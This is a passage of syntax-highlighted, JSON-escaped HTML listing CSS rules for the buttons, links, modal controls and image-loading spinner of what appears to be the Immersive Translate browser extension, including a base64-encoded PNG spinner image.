style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0.6\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecursor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enot-allowed\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-btn\u003c/span\u003e:\u003cspan style=\"color:#a6e22e\"\u003edisabled\u003c/span\u003e:\u003cspan style=\"color:#a6e22e\"\u003ehover\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#ea4c89\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-link-btn\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etransparent\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#ea4c89\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecursor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003epointer\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eheight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e30\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eline-height\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e30\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-cancel-btn\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e/* gray color */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: rgb(\u003cspan style=\"color:#ae81ff\"\u003e89\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e107\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e120\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-cancel-btn\u003c/span\u003e:\u003cspan style=\"color:#a6e22e\"\u003ehover\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: hsl(\u003cspan style=\"color:#ae81ff\"\u003e205\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e32\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-action-btn\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etransparent\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#ea4c89\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003esolid\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e#ea4c89\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-btn\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003esvg\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emargin-right\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-link\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecursor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003epointer\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003euser-select\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003e-webkit-\u003c/span\u003euser-drag: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etext-decoration\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#ea4c89\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003e-webkit-\u003c/span\u003etap-highlight-color: rgba(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0.1\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-primary-link\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecursor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003epointer\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003euser-select\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003e-webkit-\u003c/span\u003euser-drag: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etext-decoration\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#ea4c89\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003e-webkit-\u003c/span\u003etap-highlight-color: rgba(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0.1\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-modal\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;radio\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emargin\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecursor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003epointer\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-modal\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003elabel\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecursor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003epointer\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-close-action\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eabsolute\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etop\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eright\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecursor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003epointer\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimt-image-status\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: rgba(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0.5\u003c/span\u003e) \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eflex\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eflex-direction\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecolumn\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ealign-items\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ejustify-content\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder-radius\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimt-image-status\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eimg\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimt-image-status\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003esvg\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimt-img-loading\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ewidth\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e28\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eheight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e28\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emargin\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emin-height\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e28\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emin-width\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e28\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003erelative\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimt-img-loading\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-image\u003c/span\u003e: url(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADgAAAA4CAMAAACfWMssAAAAtFBMVEUAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////oK74hAAAAPHRSTlMABBMIDyQXHwyBfFdDMSw+OjXCb+5RG51IvV/k0rOqlGRM6KKMhdvNyZBz9MaupmxpWyj437iYd/yJVNZeuUC7AAACt0lEQVRIx53T2XKiUBCA4QYOiyCbiAsuuGBcYtxiYtT3f6/pbqoYHVFO5r+iivpo6DpAWYpqeoFfr9f90DsYAuRSWkFnPO50OgR9PwiCUFcl2GEcx+N/YBh6pvKaefHlUgZd1zVe0NbYcQjGBfzrPE8Xz8aF+71D8gG6DHFPpc4a7xFiCDuhaWgKgGIJQ3d5IMGDrpS4S5KgpIm+en9f6PlAhKby4JwEIxlYJV9h5k5nee9GoxHJ2IDSNB0dwdad1NAxDJ/uXDHYmebdk4PdbkS58CIVHdYSUHTYYRWOJblWSyu2lmy3KNFVJNBhxcuGW4YBVCbYGRZwIooipHsNqjM4FbgOQqQqSKQQU9V8xmi1QlgHqQQ6DDBvRUVCDirs+EzGDGOQTCATgtYTnbCVLgsVgRE0T1QE0qHCFAht2z6dLvJQs3Lo2FQoDxWNUiBhaP4eRgwNkI+dAjVOA/kUrIDwf3CG8NfNOE0eiFotSuo+rBiq8tD9oY4Qzc6YJw99hl1wzpQvD7ef2M8QgnOGJfJw+EltQc+oX2yn907QB22WZcvlUpd143dqQu+8pCJZuGE4xCuPXJqqcs5sNpsI93Rmzym1k4Npk+oD1SH3/a3LOK/JpUBpWfqNySxWzCfNCUITuDG5dtuphrUJ1myeIE9bIsPiKrfqTai5WZxbhtNphYx6GEIHihyGFTI69lje/rxajdh0s0msZ0zYxyPLhYCb1CyHm9Qsd2H37Y3lugVwL9kNh8Ot8cha6fUNQ8nuXi5z9/ExsAO4zQrb/ev1yrCB7lGyQzgYDGuxq1toDN/JGvN+HyWNHKB7zEoK+PX11e12G431erGYzwmytAWU56fkMHY5JJnDRR2eZji3AwtIcrEV8Cojat/BdQ7XOwGV1e1hDjGGjXbdArm8uJZtCH5MbcctVX8A1WpqumJHwckAAAAASUVORK5CYII=\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-size\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e28\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e28\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eanimation\u003c/span\u003e: image-loading-rotate \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003es\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elinear\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003einfinite\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimt-image-status\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003espan\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003ebg\u003cspan style=\"color:#ae81ff\"\u003e-2\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e#fff\u003c/span\u003e) \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-size\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e14\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eline-height\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e14\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-weight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e500\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-family\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;PingFang SC\u0026#34;\u003c/span\u003e, Arial, \u003cspan style=\"color:#66d9ef\"\u003esans-serif\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003ekeyframes\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eimage-loading-rotate\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: rotate(\u003cspan style=\"color:#ae81ff\"\u003e360\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003edeg\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eto\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: rotate(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan 